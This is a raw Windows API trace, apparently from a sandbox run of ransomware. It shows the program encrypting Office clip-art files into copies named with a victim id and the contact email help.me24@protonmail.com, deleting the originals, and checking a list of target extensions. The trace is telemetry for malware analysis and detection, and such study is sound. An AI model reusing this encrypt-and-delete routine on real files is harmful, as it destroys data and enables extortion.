	[0085.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.264] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1516) returned 1
	[0085.265] CloseHandle (hObject=0x38c) returned 1
	[0085.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220
	[0085.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.269] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.269] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.269] GetLastError () returned 0x0
	[0085.269] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x5ec, lpOverlapped=0x0) returned 1
	[0085.271] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x5f0, lpOverlapped=0x0) returned 1
	[0085.481] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.481] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.481] SetEndOfFile (hFile=0x394) returned 1
	[0085.481] CloseHandle (hObject=0x394) returned 1
	[0085.482] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.482] SetEndOfFile (hFile=0x38c) returned 1
	[0085.483] CloseHandle (hObject=0x38c) returned 1
	[0085.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1
	[0085.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.484] lstrlenW (lpString=".doc") returned 4
	[0085.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.484] lstrlenW (lpString=".docx") returned 5
	[0085.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.484] lstrlenW (lpString=".pdf") returned 4
	[0085.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.484] lstrlenW (lpString=".xls") returned 4
	[0085.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.485] lstrlenW (lpString=".xlsx") returned 5
	[0085.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.485] lstrlenW (lpString=".ppt") returned 4
	[0085.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.485] lstrlenW (lpString=".zip") returned 4
	[0085.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.485] lstrlenW (lpString=".rar") returned 4
	[0085.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.485] lstrlenW (lpString=".bz2") returned 4
	[0085.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.485] lstrlenW (lpString=".7z") returned 3
	[0085.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.485] lstrlenW (lpString=".dbf") returned 4
	[0085.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.485] lstrlenW (lpString=".1cd") returned 4
	[0085.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.485] lstrlenW (lpString=".jpg") returned 4
	[0085.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.485] lstrlenW (lpString=".doc") returned 4
	[0085.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.486] lstrlenW (lpString=".docx") returned 5
	[0085.486] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.486] lstrlenW (lpString=".pdf") returned 4
	[0085.486] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.486] lstrlenW (lpString=".xls") returned 4
	[0085.486] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.486] lstrlenW (lpString=".xlsx") returned 5
	[0085.486] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.486] lstrlenW (lpString=".ppt") returned 4
	[0085.486] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.486] lstrlenW (lpString=".zip") returned 4
	[0085.486] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.486] lstrlenW (lpString=".rar") returned 4
	[0085.486] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.486] lstrlenW (lpString=".bz2") returned 4
	[0085.486] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.486] lstrlenW (lpString=".7z") returned 3
	[0085.486] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.486] lstrlenW (lpString=".dbf") returned 4
	[0085.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.486] lstrlenW (lpString=".1cd") returned 4
	[0085.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68
	[0085.486] lstrlenW (lpString=".jpg") returned 4
	[0085.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.487] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.487] lstrlenW (lpString="BL00194_.WMF") returned 12
	[0085.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.487] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3986) returned 1
	[0085.487] CloseHandle (hObject=0x38c) returned 1
	[0085.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220
	[0085.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.488] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.488] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.488] GetLastError () returned 0x0
	[0085.488] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xf92, lpOverlapped=0x0) returned 1
	[0085.491] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0085.492] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.492] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.492] SetEndOfFile (hFile=0x394) returned 1
	[0085.492] CloseHandle (hObject=0x394) returned 1
	[0085.493] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.493] SetEndOfFile (hFile=0x38c) returned 1
	[0085.495] CloseHandle (hObject=0x38c) returned 1
	[0085.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.495] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1
	[0085.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.495] lstrlenW (lpString=".doc") returned 4
	[0085.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.495] lstrlenW (lpString=".docx") returned 5
	[0085.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.495] lstrlenW (lpString=".pdf") returned 4
	[0085.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.496] lstrlenW (lpString=".xls") returned 4
	[0085.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.496] lstrlenW (lpString=".xlsx") returned 5
	[0085.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.496] lstrlenW (lpString=".ppt") returned 4
	[0085.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.496] lstrlenW (lpString=".zip") returned 4
	[0085.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.496] lstrlenW (lpString=".rar") returned 4
	[0085.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.496] lstrlenW (lpString=".bz2") returned 4
	[0085.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.496] lstrlenW (lpString=".7z") returned 3
	[0085.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.496] lstrlenW (lpString=".dbf") returned 4
	[0085.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.496] lstrlenW (lpString=".1cd") returned 4
	[0085.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.496] lstrlenW (lpString=".jpg") returned 4
	[0085.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.497] lstrlenW (lpString=".doc") returned 4
	[0085.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.497] lstrlenW (lpString=".docx") returned 5
	[0085.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.497] lstrlenW (lpString=".pdf") returned 4
	[0085.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.497] lstrlenW (lpString=".xls") returned 4
	[0085.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.497] lstrlenW (lpString=".xlsx") returned 5
	[0085.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.497] lstrlenW (lpString=".ppt") returned 4
	[0085.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.497] lstrlenW (lpString=".zip") returned 4
	[0085.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.497] lstrlenW (lpString=".rar") returned 4
	[0085.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.497] lstrlenW (lpString=".bz2") returned 4
	[0085.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.497] lstrlenW (lpString=".7z") returned 3
	[0085.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.497] lstrlenW (lpString=".dbf") returned 4
	[0085.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.497] lstrlenW (lpString=".1cd") returned 4
	[0085.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0085.497] lstrlenW (lpString=".jpg") returned 4
	[0085.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.498] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0085.498] lstrlenW (lpString="BL00195_.WMF") returned 12
	[0085.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.499] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8070) returned 1
	[0085.499] CloseHandle (hObject=0x38c) returned 1
	[0085.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220
	[0085.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0085.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0085.499] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.499] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0085.500] GetLastError () returned 0x0
	[0085.500] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1f86, lpOverlapped=0x0) returned 1
	[0085.502] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1f90, lpOverlapped=0x0) returned 1
	[0085.503] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.503] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.503] SetEndOfFile (hFile=0x394) returned 1
	[0085.504] CloseHandle (hObject=0x394) returned 1
	[0085.504] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.505] SetEndOfFile (hFile=0x38c) returned 1
	[0085.505] CloseHandle (hObject=0x38c) returned 1
	[0085.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0085.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1
	[0085.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.844] lstrlenW (lpString=".doc") returned 4
	[0085.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.844] lstrlenW (lpString=".docx") returned 5
	[0085.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.844] lstrlenW (lpString=".pdf") returned 4
	[0085.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.844] lstrlenW (lpString=".xls") returned 4
	[0085.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.844] lstrlenW (lpString=".xlsx") returned 5
	[0085.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.844] lstrlenW (lpString=".ppt") returned 4
	[0085.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.844] lstrlenW (lpString=".zip") returned 4
	[0085.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.844] lstrlenW (lpString=".rar") returned 4
	[0085.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.844] lstrlenW (lpString=".bz2") returned 4
	[0085.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.844] lstrlenW (lpString=".7z") returned 3
	[0085.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.844] lstrlenW (lpString=".dbf") returned 4
	[0085.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.844] lstrlenW (lpString=".1cd") returned 4
	[0085.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.844] lstrlenW (lpString=".jpg") returned 4
	[0085.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.844] lstrlenW (lpString=".doc") returned 4
	[0085.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.845] lstrlenW (lpString=".docx") returned 5
	[0085.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.845] lstrlenW (lpString=".pdf") returned 4
	[0085.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.845] lstrlenW (lpString=".xls") returned 4
	[0085.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.845] lstrlenW (lpString=".xlsx") returned 5
	[0085.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.845] lstrlenW (lpString=".ppt") returned 4
	[0085.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.845] lstrlenW (lpString=".zip") returned 4
	[0085.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.845] lstrlenW (lpString=".rar") returned 4
	[0085.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.845] lstrlenW (lpString=".bz2") returned 4
	[0085.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.845] lstrlenW (lpString=".7z") returned 3
	[0085.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.845] lstrlenW (lpString=".dbf") returned 4
	[0085.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.845] lstrlenW (lpString=".1cd") returned 4
	[0085.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68
	[0085.845] lstrlenW (lpString=".jpg") returned 4
	[0085.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
